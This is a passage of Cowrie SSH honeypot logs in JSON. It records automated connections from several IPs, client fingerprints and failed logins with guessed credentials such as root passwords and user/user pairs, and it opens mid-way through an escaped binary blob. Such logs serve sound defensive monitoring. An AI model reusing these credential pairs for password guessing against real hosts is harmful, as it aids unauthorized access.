x05\\x03\\x06\\x03\\x02\\x01\\x02\\x03\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x003\\x04\\xea\\x04\\xe8\\x11\\xec\\x04\\xc0oW\\x82_W\\x8c\\xcehg\\x1d\\xc1\\x90\\xf1d-\\x08\\xf6\\x85a\\x92\\x1c\\xf3\\x07\\xcd\\xe28O<\\xcc\\xa2L\\xe73\\x857Y^\\\\\\xac\\xb0\\xc0\\x7fS\\t%cS\\xa4\\x11L\\x1a\\x90\\xf9r\\xdf\\xb6y\\xe2\\xb6\\x16\\xf0\\x0b:\\xccK\\xb1\\xbf\\x1b\\x94\\x14\\xaa\\xa2d\\xc5_\\xadg\\x93\\x06\\xf8\\xc8\\xc2J\\x0c:\\x9b\\x85\\xedz\\x0e\\xf3\\xba\\xc9\\xad\\xf1X\\xf6\\x83m\\xf7\\x95[\\xdd\\xc5+\\xa8Y*\\xd5\\x0b&\\xe1G\\\\\\xc4\\xa4\\x8a\\xa9\\x8a\\x87I\\xbap(\\xb5\\xbevS\\x8f\\x95\\xc5\\xab\\xd0\\xd9^\\xa8\\xdb#j\\xc2\\xa1\\x9d\\xc7\\x90\\xec\\xb1\\xa2\\\\\\xeb\\xbe\\t\\x81G\\xb7\\x95*G\\x83kn:\\xa2+\\x95\\x02jC\\x9a\\x15\\xe5\\xcd\\xa6ZX\\x10\\xb4\\xae\\xd7\\x16\\x1a\\xbbA\\xaa\\xec\\x92s\\xa0Ft\\xb0\\xeb\\xb9\\xcdYr\\xcf\\x90\\xb6\\xd9\\xc2}\\xd9\\xe1I\\xfc\\xa2\\x16\\x02X\\xc5\\x18%\\x08\\xcdjc\\x18\\xd6]L\\xeb\\x97=<\\x87g\\x11~\\xf9\\xdb\\x1am\\xb4\\r\\xc9T\\xba^\\x87Eg\\xd8u\\xd70K\\xd2\\xc7)\\x93l\\x1d%\\xf5\\x00\\xebY@L\\xe5{\\xfdD\\x97S+\\x19\\rr\\x1d4Lb\\xddv\\x84\\xb7\\xca\\xaf:\\x18\\x7f[\\xab\\x90\\x00\\xd8\\xca\\xc38y\\xd0{\\x14\\x8f\\xa5\\x85\\xfe\\x97\\xc8r\\x18%\\x93\\xb1`\\xb7 \\xad\\xa7H{B\\xf3iA\\x95_\\xc1\\x1bn\\xf6\\xe6\\xadE\\x90\\x0f\\xc7!\\x99\\xde\\\\\\xc2YRm\\xc6\\xf9\\xca\\x86\\xbbC\\x94\\xbbu\\x850JD\\x91\"\\x1bAc\\xa4\\x12\\x0b\\xa7&hL\\x86t)`\\xa2*\\xb7\\x10\\xd0\\n\\xc5\\xa3\\xc14\\xeb\\x94-\\xbf+\\x11\\x95\\xa5\\x9do\\xc2\\x19\\xe3X\\xa8|\\x19\\x10\\xa3\\x81\\x91\\xf2g(\\xd5\\x88\\x9d4@\\x16\\x8b\\xa8\\x02\\x1a\\xc9\\x19#\\xb0\\x94g\\x07>\\x91\\xe6\\xb2\\xe9\\xb7\\x94>\\xb7\\x96\\xbbc\\x10\\xa0\\xca0\\x15\\xda\\xc2\\x02pi\\xd6w\\xbc\\xe0 IS\\x9a5\\x838n\\xa8\\x9a^~\\x07a\\xad\\x99\\x87\\x99zoO\\x9bx\\xe4\\xd0\\x1d \\x19\\x13\\xc9v(\\x01\\xf9znv\\x99k\\xc4Rm\\n\\xaa\\xe7\\xcc\\\\\\x9eJ\\x1e\\x1b2e&d\\x9f\\x9e\\xc9\\x80YI\\xa8\\xc7|\\xc1\\xf2\\xba\\xbf\\x11J\\x19\\xe1w|\\xbe\\xe1j\\x1b\\x89\\xc0A2\\x90W8\\xb2\\xc4\\xdbH()\\x83\"\\xf6/<\\x99\\xc2\\xfd\\xf0\\xad\\x94%\\xa0\\xb5\\xf0v\\xd1\\xd2\\x07\\x9f\\xec +\\xa6I\\x8b\\x8c\\x81di\\xaf\\xed\\xda\\xafjL\\xb1]\\x034\\xee\\xe2-7t\\x84\\xffp=\\x195^f\\x8a\\xab\\x89`\\x86CJ\\x90\\xe7\\x8cA\\xa3`\\x1c\\xca2g\\xa2\\xb4h\\x14<Pk\\xe9\\x80X\\x92^\\xd4\\x90e\\n\\xf1i\\xb0\\xb5er\\xf7\\xa5\\xd4\\xd3e\\xbe#q\\xc8F\\x96A\\x18\\xca\\x81\\x80\\xa4/)\\tb!0_\\x92\\x1a\\xc5\\xa7\\x8cZ\\xe3\\xbc8A6\\x01\\x80\\xae3@\\r\\x1b\\xf9\\xc7R\\x91\\x89\\x96\\x1a\\x95\\xc1\\n\\x88+\\x15\\x06\\xdf\\xd0\\xc5(\\x97\\xaf\\x13c\\xb1JyXU\\xbcv-\\xba;(\\x1c\\xa2\\xfd\\xe6\\xb7\\xe1B4\\xf7PKc\\xd4\\x8d\\xec,-\\x1a\\x0cJ\\xe0\\xb6\\xa1\\xa6\\xc5Fp\\xc0tP\\xbb\\x07Alt\\x84\\x05\\xb2\\x87\\xfc\\xcf\\xf5\\xdaL\\t\\xc4F\\xd3\\x91v\\r8\\x85\\xb18w\\xab\\x8a1\\xdc\\xd6\\x87G\\xe6{`v\\x99\\x8b\\xe3\\x9eZF\\x901wS\\xe9\\xc0\\x0fb\\xbc\\xb6\\xd9,j\\x0er\\x8a\\xb0W\\x9bY)pqV)\\xad\\xe3\\x88I\\x8a1\\xd5\\x05\\x12\\x93\\x89\\xb9\\xd6\\xdaae\\x922\\x81\"\\xc9Rl\\xa5M\\xf4\\xcc\\xb0\\xe7G\\x94C`\\xcf\\xbb\\x1f4\\xe5\\xc9e\\xd5\\x95\\x80v\\xafg\\x03\\x8a\\xdcg\\x8c>g&\\xf8\\xf5\\x03#1\\xa4\\x1bC\\xad\\xb5\\xe3K~\\xb0h\\x06\\xca\\x08\\x8d\\xa5\\x08\\x87\\x17f\\xad2i \\x872\\xb6\\x93Bw\\xd6\\x80\"7H8euH\\xc0I\\xc3Dl(\\xc4Yr0f\\xec\\x1a\\x10\\x10\\x07Qqd-\\xd8x\\'\\xe4q\\xc1\\xfa\\xbcp\"\\x80I6Xo\\x86I\\x11\\xac\\xd3\\x99\\x8c:\\x9a;\\xe5N\\xec\\xd4\\x93\\xa5Y\\x14\\x05A0\\xf5\\xe5|\\xd0\\xa2\\x8b&\\xb8t\\xe8(i(\\xe3\\xa5W\\x12\\x8c\\xbf\\xb3\\x92*\\xdbSf\\n2\\xd3\\xe1\\x9f\\x83\\'-9\\xb5\\'\\x1e\\x1aS\\x99;l\\xf50\\xce\\xde\\x1a\\x9d\\x11\\nns[V\\xa1\\x89(\\xd5\\xe60\\x9f\\x054V\\xf1\\xc0P\\x00(\\xdf\\xe3\\xbe\\xf5\\xba\\x12\\x9d\\xf5\\x9c\\xbad\\x16\\xbb,\\x977\\xe8\\\\\\x92d\\x19\\xb0\\xa7\\x05#\\\\\\x93\\xdcC\\xad\\xf2\\xe6\\x1b\\xf3j\\x8eJv`:\\xf6[\\xcd\\x15qwe\\x13l\\xa5\\xbd7\\x89a\\xe2\\xac[$\\x9c-\\x08\\xbb\\xa9t\\x98\\x8c\\x92P\\x10\\x17\\x17\\x1d-\\xb00\\xec\\xc8dx#\\x85\\x98\\xd3m\\xef<\\x90j\\x0c\\x07o6g\\xb7\\xa4PW\\t \\xeaQ\\x8c/k\\x16g\\x92\\x03\\\\\\x18\\x85h\\x84\\xa6\\xa0Q\\xaa\\xc2\\x16\\x92\\x81r\\x19\\xf2HU\\xaa\\xd7 \\x94\\xf7\\x89\\x1d\\x13AN\\xb7\\xfe\\xc5\\x0f\\xb7v\\xc9\\x88\\xc9\\\\\\xbb\\x1a\\xec\\xf3\\xba\\x99\\x99E~p!\\xef@\\xa8\\xe5\\x03Q\\x98\\xa7\\xaa\\xac\\x85)\\xedC|\\xf3\\x966e\\x14\\xe7Nt\\x01\\xc5\\xd9}\\xa3#lW0-q\\xff\\xf3e(5\\x00\\x1d\\x00 \\xa7\\xaa\\xac\\x85)\\xedC|\\xf3\\x966e\\x14\\xe7Nt\\x01\\xc5\\xd9}\\xa3#lW0-q\\xff\\xf3e(5'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:01.781962Z","src_ip":"195.178.110.137","session":"1819b0c9897e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:01.871346Z","src_ip":"195.178.110.137","session":"1819b0c9897e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50236,"dst_ip":"10.17.0.5","dst_port":22,"session":"48799eeb1a86","protocol":"ssh","message":"New connection: 45.156.87.253:50236 (10.17.0.5:22) [session: 48799eeb1a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:02.319582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:02.323521Z","src_ip":"45.156.87.253","session":"48799eeb1a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:02.405088Z","src_ip":"45.156.87.253","session":"48799eeb1a86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:02.648003Z","src_ip":"45.156.87.253","session":"48799eeb1a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:03.731525Z","src_ip":"45.156.87.253","session":"48799eeb1a86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":55744,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed2fcdb1fc8","protocol":"ssh","message":"New connection: 103.77.175.15:55744 (159.203.135.109:22) [session: 4ed2fcdb1fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:04.877563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:04.882039Z","src_ip":"103.77.175.15","session":"4ed2fcdb1fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:05.110596Z","src_ip":"103.77.175.15","session":"4ed2fcdb1fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50238,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ec185bd64c","protocol":"ssh","message":"New connection: 45.156.87.253:50238 (10.17.0.5:22) [session: b0ec185bd64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:05.644083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:05.648273Z","src_ip":"45.156.87.253","session":"b0ec185bd64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:05.761353Z","src_ip":"45.156.87.253","session":"b0ec185bd64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:05.799297Z","src_ip":"103.77.175.15","session":"4ed2fcdb1fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:06.006854Z","src_ip":"45.156.87.253","session":"b0ec185bd64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:07.030174Z","src_ip":"103.77.175.15","session":"4ed2fcdb1fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:07.089688Z","src_ip":"45.156.87.253","session":"b0ec185bd64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50252,"dst_ip":"10.17.0.5","dst_port":22,"session":"1837d1b7c711","protocol":"ssh","message":"New connection: 45.156.87.253:50252 (10.17.0.5:22) [session: 1837d1b7c711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:08.954190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:08.958030Z","src_ip":"45.156.87.253","session":"1837d1b7c711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:09.039951Z","src_ip":"45.156.87.253","session":"1837d1b7c711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:09.457824Z","src_ip":"45.156.87.253","session":"1837d1b7c711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:10.541172Z","src_ip":"45.156.87.253","session":"1837d1b7c711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46176,"dst_ip":"10.17.0.5","dst_port":22,"session":"856befd466fd","protocol":"ssh","message":"New connection: 45.156.87.253:46176 (10.17.0.5:22) [session: 856befd466fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:12.500407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:12.503917Z","src_ip":"45.156.87.253","session":"856befd466fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:12.584374Z","src_ip":"45.156.87.253","session":"856befd466fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernard","password":"bernard","message":"login attempt [bernard/bernard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:12.831323Z","src_ip":"45.156.87.253","session":"856befd466fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:13.914129Z","src_ip":"45.156.87.253","session":"856befd466fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46178,"dst_ip":"10.17.0.5","dst_port":22,"session":"19090e209a88","protocol":"ssh","message":"New connection: 45.156.87.253:46178 (10.17.0.5:22) [session: 19090e209a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:15.813827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:15.817160Z","src_ip":"45.156.87.253","session":"19090e209a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:15.897721Z","src_ip":"45.156.87.253","session":"19090e209a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:16.140585Z","src_ip":"45.156.87.253","session":"19090e209a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:24:17.225942Z","src_ip":"45.156.87.253","session":"19090e209a88","protocol":"ssh"}
